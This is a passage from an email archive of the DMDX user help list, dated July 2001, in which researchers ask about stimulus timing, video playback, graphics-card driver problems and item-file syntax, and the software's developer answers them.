+44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 3 16:31:05 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25434 for ; Tue, 3 Jul 2001 16:30:40 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B1F829C001C2C20 for DMDX@psy1.psych.arizona.edu; Tue, 3 Jul 2001 16:30:39 -0700 Message-Id: <5.1.0.14.2.20010703162245.009ee130@psy1.psych.arizona.edu> Date: Tue, 03 Jul 2001 16:30:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] media vision PAS16 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list If anyone wants three Media Vision PAS16 cards should they still be attempting to use old world hardware with DMTG we have three new ones still in their packaging for trade. Please respond to me off list at jforster@u.arizona.edu. Should multiple parties be interested they will go to the highest bidder. All three cards must go to one bidder too. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 4 11:16:40 2001 Received: from green.csi.cam.ac.uk (exim@green.csi.cam.ac.uk [131.111.8.57]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA27422 for ; Wed, 4 Jul 2001 11:16:23 -0700 Received: from njsjg2 (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15HrCI-00007n-00 for DMDX@psy1.psych.arizona.edu; Wed, 04 Jul 2001 19:16:22 +0100 Date: Wed, 4 Jul 2001 19:16:22 +0100 (BST) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Making items disappear on response Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I haven't been able to work out how to get the parameter to work properly (or at all in fact) -- I would like it so that the stimulus is visible until the participant responds, and then is blanked immediately upon response. Any help is appreciated. Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK mailto:njsjg2@cam.ac.uk phone/fax: +44 1223 763010/763003 $ ! INSTRUCTIONS and practice items snipped $ +1001 ""Describes God?""/! * ""absent"" / ; +1002 ""Describes God?""/! * ""possessive"" / ; +1003 ""Describes God?""/! * ""truthful"" / ; +1004 ""Describes God?""/! * ""worthless"" / ; +1005 ""Describes God?""/! * ""petty"" / ; +1006 ""Describes God?""/! * ""peaceful"" / ; +1007 ""Describes God?""/! * ""witty"" / ; +1008 ""Describes God?""/! * ""powerful"" / ; +1009 ""Describes God?""/! * ""all-consuming"" / ; +1010 ""Describes God?""/! * ""all-knowing"" / ; +1011 ""Describes God?""/! * ""important"" / ; +1012 ""Describes God?""/! * ""spiritual"" / ; +1013 ""Describes God?""/! * ""wise"" / ; +1014 ""Describes God?""/! * ""unpredictable"" / ; +1015 ""Describes God?""/! * ""close"" / ; +2001 ""Describes you?""/! * ""hard-working"" / ; +2002 ""Describes you?""/! * ""real"" / ; +2003 ""Describes you?""/! * ""inaccessible"" / ; +2004 ""Describes you?""/! * ""meek"" / ; +2005 ""Describes you?""/! * ""merciful"" / ; +2006 ""Describes you?""/! * ""restrictive"" / ; +2007 ""Describes you?""/! * ""omnipresent"" / ; +2008 ""Describes you?""/! * ""ultra-critical"" / ; +2009 ""Describes you?""/! * ""almighty"" / ; +2010 ""Describes you?""/! * ""forgiving"" / ; +2011 ""Describes you?""/! * ""warm"" / ; +2012 ""Describes you?""/! * ""prescriptive"" / ; +2013 ""Describes you?""/! * ""cruel"" / ; +2014 ""Describes you?""/! * ""companionable"" / ; +2015 ""Describes you?""/! * ""impulsive"" / ; $ 0 ""Have a break"", ""Press SPACEBAR to restart""; 250 / ; $ ! &c. ... >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 4 12:05:18 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA27569 for ; Wed, 4 Jul 2001 12:05:11 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B374EB3000A1455 for DMDX@psy1.psych.arizona.edu; Wed, 4 Jul 2001 12:05:10 -0700 Message-ID: <3B374EB4000060D5@deimos.email.Arizona.EDU> Date: Wed, 4 Jul 2001 12:05:09 -0700 In-Reply-To: From: ""Kenneth Forster"" Subject: [DMDX] RE: Making items disappear on response To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list -- Original Message -- >I haven't been able to work out how to get the parameter to work >properly (or at all in fact) -- I would like it so that the stimulus is >visible until the participant responds, and then is blanked immediately >upon response. > >Any help is appreciated. > >Nicholas Gibson Here is a simple method. Omit the last frame delimiter and the frame timer. +1001 ""Describes God?""/! * ""absent"" ; If you want to get rid of feedback, then include on the parameter line. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 4 12:28:47 2001 Received: from green.csi.cam.ac.uk (exim@green.csi.cam.ac.uk [131.111.8.57]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA27636 for ; Wed, 4 Jul 2001 12:28:40 -0700 Received: from njsjg2 (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15HsKF-0002Ce-00 for DMDX@psy1.psych.arizona.edu; Wed, 04 Jul 2001 20:28:39 +0100 Date: Wed, 4 Jul 2001 20:28:39 +0100 (BST) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Re: RE: Making items disappear on response In-Reply-To: <3B374EB4000060D5@deimos.email.Arizona.EDU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > >I haven't been able to work out how to get the parameter to work > >properly (or at all in fact) -- I would like it so that the stimulus is > >visible until the participant responds, and then is blanked immediately > >upon response. > > > >Any help is appreciated. > > > >Nicholas Gibson > > Here is a simple method. Omit the last frame delimiter and the frame timer. > > +1001 ""Describes God?""/! * ""absent"" ; > > If you want to get rid of feedback, then include on the parameter > line. Just tried this, and no joy. The stimulus still does not disappear instantly (maybe this is just not possible?) but rather after a noticeable delay; furthermore now my intertrial interval has upped and gone. Nick >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 4 23:02:38 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id XAA28702 for ; Wed, 4 Jul 2001 23:01:49 -0700 Received: (qmail 24179 invoked from network); 5 Jul 2001 06:01:44 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 5 Jul 2001 06:01:44 -0000 Message-Id: <5.1.0.14.2.20010704230024.009e66c0@psy1.psych.arizona.edu> Date: Wed, 04 Jul 2001 23:02:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Making items disappear on response In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:16 PM 7/4/01 +0100, you wrote: >I haven't been able to work out how to get the parameter to work >properly (or at all in fact) -- I would like it so that the stimulus is >visible until the participant responds, and then is blanked immediately >upon response. > > Key 102> >$ >! INSTRUCTIONS and practice items snipped >$ >+1001 ""Describes God?""/! * ""absent"" / ; Then don't put a frame clearing the display at the end of the item: +1001 ""Describes God?""/! * ""absent"" ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 5 09:22:11 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA29773 for ; Thu, 5 Jul 2001 09:21:55 -0700 Received: (qmail 22583 invoked from network); 5 Jul 2001 16:21:52 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 5 Jul 2001 16:21:52 -0000 Message-Id: <5.1.0.14.2.20010705091451.009e3540@psy1.psych.arizona.edu> Date: Thu, 05 Jul 2001 09:22:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: Making items disappear on response Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX ListServ Archive The DMDX user help list j.c.f.'s ListServ Threader V1.2.01 Date: Wed, 4 Jul 2001 20:28:39 +0100 (BST) From: ""Nicholas J.S. Gibson"" Subject: [DMDX] Re: RE: Making items disappear on response > >I haven't been able to work out how to get the parameter to work > >properly (or at all in fact) -- I would like it so that the stimulus is > >visible until the participant responds, and then is blanked immediately > >upon response. > > > >Any help is appreciated. > > > >Nicholas Gibson > > Here is a simple method. Omit the last frame delimiter and the frame timer. > > +1001 ""Describes God?""/! * ""absent"" ; > > If you want to get rid of feedback, then include on the parameter > line. Just tried this, and no joy. The stimulus still does not disappear instantly (maybe this is just not possible?) but rather after a noticeable delay; furthermore now my intertrial interval has upped and gone. The feedback delay is 2 ticks, perhaps the machine you're running on is so slow that it takes a significant amount of time to prepare the feedback. Can't imaging another reason for it being noticeably delayed. You could try assembling your own feedback subroutine but unless the code is doing something I'm not aware of I can't see it being quicker. See the Branch docs for a clue: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 5 15:09:31 2001 Received: from green.csi.cam.ac.uk (exim@green.csi.cam.ac.uk [131.111.8.57]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA30568 for ; Thu, 5 Jul 2001 15:09:19 -0700 Received: from njsjg2 (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15IHJG-0001nl-00 for DMDX@psy1.psych.arizona.edu; Thu, 05 Jul 2001 23:09:18 +0100 Date: Thu, 5 Jul 2001 23:09:18 +0100 (BST) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Re: RE: Making items disappear on response In-Reply-To: <5.1.0.14.2.20010705091451.009e3540@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > Just tried this, and no joy. The stimulus still does not disappear > > instantly (maybe this is just not possible?) but rather after a > > noticeable delay; furthermore now my intertrial interval has upped > > and gone. > > The feedback delay is 2 ticks, perhaps the machine you're running > on is so slow that it takes a significant amount of time to prepare > the feedback. Can't imaging another reason for it being noticeably > delayed. You could try assembling your own feedback subroutine but > unless the code is doing something I'm not aware of I can't see it > being quicker. See the Branch docs for a clue: > > http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm I have got it working now. Basically removing the last frame delimiter was all that was needed, as you both suggested. Don't know what the problem was before. I'm running it on a Dell P3 800 MHz so I was pretty sure my machine was not at fault -- the delay was about 2 seconds! Rather I think I had made a silly error somewhere along the line and after playing enough suddenly it worked. I ended up with a parameter line of: and a typical item like: +1001 ""Describes God?""/! * ""absent""; Thanks for your help. Nick -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK mailto:njsjg2@cam.ac.uk phone/fax: +44 1223 763010/763003 >From DMDX-owner@psy1.psych.arizona.edu Sat Jul 7 06:07:18 2001 Received: from relay.tp2rc.edu.tw (relay.tp2rc.edu.tw [163.28.32.77]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA01933 for ; Sat, 7 Jul 2001 06:04:34 -0700 Received: from nccu.edu.tw (nccu.edu.tw [140.119.209.1]) by relay.tp2rc.edu.tw (8.9.3+Sun/8.9.3) with ESMTP id VAA16188 for ; Sat, 7 Jul 2001 21:48:40 +0800 (CST) Received: from coglab ([140.119.176.226]) by nccu.edu.tw (8.9.3+Sun/8.9.3) with SMTP id VAA21995 for ; Sat, 7 Jul 2001 21:00:39 +0800 (CST) Message-ID: <000801c106e6$715c3e80$e2b0778c@nccu.edu.tw> From: ""=?big5?B?TGVubmVsIExpbi15dSBXYW5noV2k/apMpnShXg==?="" To: Subject: [DMDX] Re: DMDX and Chinese Date: Sat, 7 Jul 2001 21:12:15 +0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0005_01C10729.7F4582C0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C10729.7F4582C0 Content-Type: text/plain; charset=""big5"" Content-Transfer-Encoding: quoted-printable You must key in ""keyboard"" in Chinese, not English! For example: =20 ------=_NextPart_000_0005_01C10729.7F4582C0 Content-Type: text/html; charset=""big5"" Content-Transfer-Encoding: quoted-printable You must key in ""keyboard"" in = Chinese, not=20 English!   For example: ------=_NextPart_000_0005_01C10729.7F4582C0-- >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 11 08:34:48 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA13314 for ; Wed, 11 Jul 2001 08:33:59 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 11 Jul 2001 16:33:55 +0100 (BST) Message-Id: <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 11 Jul 2001 16:37:00 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: geForce2 MX In-Reply-To: <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi. You were right about the other GeForce cards. We have just got a new machine with 32M NVIDIA GeForce2 MX card and it don't like DMDX. Is this something you are going to address, Jonathan, or should we think about getting a new card? Thanks - Mike At 20:31 06/06/01 -0700, you wrote: > Looks like the latest 12.41 video drivers from NVIDIA don't fix the > issues that DMDX has with the GeForce2 video cards. While I only have a > GeForce2 MX I strongly suspect the error in their driver occurs with all > GeForce chips when DMDX is run on them. > >-jonathan (j.c.f.) oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 334 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 11 09:58:35 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA13686 for ; Wed, 11 Jul 2001 09:58:22 -0700 Received: (qmail 20948 invoked from network); 11 Jul 2001 16:58:16 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 11 Jul 2001 16:58:16 -0000 Message-Id: <5.1.0.14.2.20010711093707.009d1910@psy1.psych.arizona.edu> Date: Wed, 11 Jul 2001 09:59:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: geForce2 MX In-Reply-To: <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.u k> References: <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:37 PM 7/11/01 +0100, you wrote: >Hi. You were right about the other GeForce cards. We have just got a new >machine with 32M NVIDIA GeForce2 MX card and it don't like DMDX. Is this >something you are going to address, Jonathan, or should we think about >getting a new card? Just run it with a shortcut like this: C:\\DmDX\\dmdx.exe -buffers 4 It means DMDX won't be able to buffer more than three frames ahead so items with more than three visual frames in them will have blitting going on while the item is executing. This is usually not going to be a problem as the blitters on the GeForce2 chips are so damned fast, typically a whole screen is blitted in under 4 milliseconds, however if you expect to be gathering responses from a PIO12 as those frames are displayed you might consider lowering the maximum lines to blit such that only a millisecond is ever spent blitting at a time. My testing shows only minimal disruption to the millisecond callback as blitting is going on as opposed to the major disruptions to detecting the retrace but it doesn't cost too much to be safe and lowering the maximum lines to blit also improves retrace detection as blitting is going on. Not that loosing track of the retrace is too much of an issue either, with access to the high performance timer DMDX can go for substantial periods without seeing a retrace before it is likely to make an error. I was trying to address this with version 3 but I ran into several brick walls and one of those walls was a wall that I implicitly assumed I wasn't going to run into with the redesign. So I'm fairly sure that line of research is dead. I may yet build a new version three that still uses the 3D features of video devices so I can once again buffer huge amounts of display before an item starts executing but it will more than likely include version two's retrace synchronization methods. But it's a huge amount of work, effectively I must rewrite something like 66% of the code (including the sound and digital video code) to address concerns that as far as I can tell are just not costing very much right now, it's more like advance action to avoid the possible obsolescence of DMDX but I've got years to go before that happens. Not only that but the long term prognostications are that these 3D chips will only be around for a few years anyway, after that CPUs will be so damned fast it will make no sense to have a separate GPU rendering graphics. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 11 17:32:47 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA14907 for ; Wed, 11 Jul 2001 17:32:35 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE00026616 for DMDX@psy1.psych.arizona.edu; Wed, 11 Jul 2001 17:32:34 -0700 Message-Id: <5.1.0.14.2.20010711172617.00a0cec0@psy1.psych.arizona.edu> Date: Wed, 11 Jul 2001 17:32:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.4.07 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hopefully 2.4.07 is up on the website and readable for everyone, our campus cluster has just switched to SSH only transfers so things are a little chaotic. The only change has to do with mode input and using the NO_RESPONSES input type where it wasn't handled correctly, now it is. If for instance you tried to use with it wouldn't detect it, now it does. I'm hoping that there wasn't some subtle feature that relied on the incorrect behavior... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 12 01:44:40 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA15839 for ; Thu, 12 Jul 2001 01:44:25 -0700 Received: from pc114 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 12 Jul 2001 09:44:25 +0100 (BST) From: ""Andy"" To: ""DMDX"" Subject: [DMDX] Freezing video Date: Thu, 12 Jul 2001 09:44:26 +0100 Message-ID: <000501c10aae$db3d4ee0$92fd3fc1@mrccbu.cam.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi everyone. I have recently been exposed to DMDX and am trying to write a file to play video's to participants in fMRI scanners. I can do this but am wondering whether its possible to freeze the video on its last frame so that it does not disappear. It was suggested to me to make the last frame a bmp and to simply place it after the video, but the problem with this is that the video would appear to 'flicker'. Is it possible to access DirectDraw's functions in a DMDX file? Also, I can play AVI ( ""example1""/; ) and MPEG ( ""example2.mpeg""/; took me ages to figure that out ) but my computer blatently refuses to play MOV files. Do you have to setup this feature manually in DirectX (file associations etc)? I would be grateful for any help, Andy. >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 12 09:44:07 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA16841 for ; Thu, 12 Jul 2001 09:43:26 -0700 Received: (qmail 19578 invoked from network); 12 Jul 2001 16:43:23 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 12 Jul 2001 16:43:23 -0000 Message-Id: <5.1.0.14.2.20010712092329.009f21a0@psy1.psych.arizona.edu> Date: Thu, 12 Jul 2001 09:44:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Freezing video In-Reply-To: <000501c10aae$db3d4ee0$92fd3fc1@mrccbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:44 AM 7/12/01 +0100, you wrote: >Hi everyone. > >I have recently been exposed to DMDX and am trying to write a file to play >video's to participants in fMRI scanners. I can do this but am wondering >whether its possible to freeze the video on its last frame so that it does >not disappear. > >It was suggested to me to make the last frame a bmp and to simply place it >after the video, but the problem with this is that the video would appear to >'flicker'. Is it possible to access DirectDraw's functions in a DMDX file? To limited extent you can play a specified number of frames within an AVI file but I haven't exposed the ability to pause a video. I suspect even if I did it's support isn't widely implemented. However leaving the last frame on the screen is possible to do in theory, I don't know whether DMDX's code will allow it but each of those frames that DMDX displays is a buffer that it has, it's conceivable that that could get fed into the normal DMDX display routines, but that's complicated as hell (read: you're gonna be compensating me to do it). >Also, I can play AVI ( ""example1""/; ) and MPEG ( >""example2.mpeg""/; took me ages to figure that out ) but my computer >blatently refuses to play MOV files. Do you have to setup this feature >manually in DirectX (file associations etc)? You probably have to install QuickTime. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 12 12:59:44 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA17326 for ; Thu, 12 Jul 2001 12:59:35 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE000355CD for DMDX@psy1.psych.arizona.edu; Thu, 12 Jul 2001 12:59:33 -0700 Message-Id: <5.1.0.14.2.20010712125721.009eb800@psy1.psych.arizona.edu> Date: Thu, 12 Jul 2001 12:59:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] slight webpage change Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Please note the DMDX archive has changed case, it's now: http://www.u.arizona.edu/~jforster/dmdx/DMDX.ZIP It used to dmdx.zip, a different file name under a lunix. If you had links straight to the archive you'll need to change them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 12 14:11:53 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA17541 for ; Thu, 12 Jul 2001 14:11:44 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE00036F50 for DMDX@psy1.psych.arizona.edu; Thu, 12 Jul 2001 14:11:43 -0700 Message-ID: <3B4AADE1000024A4@deimos.email.Arizona.EDU> Date: Thu, 12 Jul 2001 16:11:43 -0500 From: ""Keolani Taitano"" Subject: [DMDX] timing question To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, Do I need to assume that one tic is added to every frame within an item line (including those that don't present an image file, such as sending digital IO or adding a variable ITI)? So, if I'm presenting a bitmap file for one tic, is it really on the screen for two tics? Therefore, if I want to display an image for one tic, should '%0' rather than '%1' be used? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 12 15:25:32 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA17742 for ; Thu, 12 Jul 2001 15:25:23 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE000389A0 for DMDX@psy1.psych.arizona.edu; Thu, 12 Jul 2001 15:25:22 -0700 Message-Id: <5.1.0.14.2.20010712151509.009ebe30@psy1.psych.arizona.edu> Date: Thu, 12 Jul 2001 15:25:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timing question In-Reply-To: <3B4AADE1000024A4@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:11 PM 7/12/01 -0500, you wrote: >Hello, > >Do I need to assume that one tic is added to every frame within an item >line (including those that don't present an image file, such as sending >digital IO or adding a variable ITI)? No, that's one extra tick at the end of the item for scheduling and so forth. >So, if I'm presenting a bitmap file for one tic, is it really on the screen >for two tics? Therefore, if I want to display an image for one tic, should >'%0' rather than '%1' be used? If it is the last frame of an item yes, it will be up for two ticks because nothing erases it till the next item. Given the following item file the display would be as follows: d10 f30 0 ""first"" / ""second""; 1 ""third""; ""first"" for 30 ticks ""second"" for 1 tick as DMDX determines this is the end of the item ""second"" for 10 ticks ""third"" -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 13 13:53:05 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA20774 for ; Fri, 13 Jul 2001 13:50:35 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE0004B066 for DMDX@psy1.psych.arizona.edu; Fri, 13 Jul 2001 13:50:34 -0700 Message-ID: <3B4AADE10000313D@deimos.email.Arizona.EDU> Date: Fri, 13 Jul 2001 15:50:33 -0500 In-Reply-To: <5.1.0.14.2.20010712151509.009ebe30@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: Re: timing question To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > >>So, if I'm presenting a bitmap file for one tic, is it really on the screen >>for two tics? Therefore, if I want to display an image for one tic, should >>'%0' rather than '%1' be used? > > If it is the last frame of an item yes, it will be up for two ticks >because nothing erases it till the next item. Given the following item > >file the display 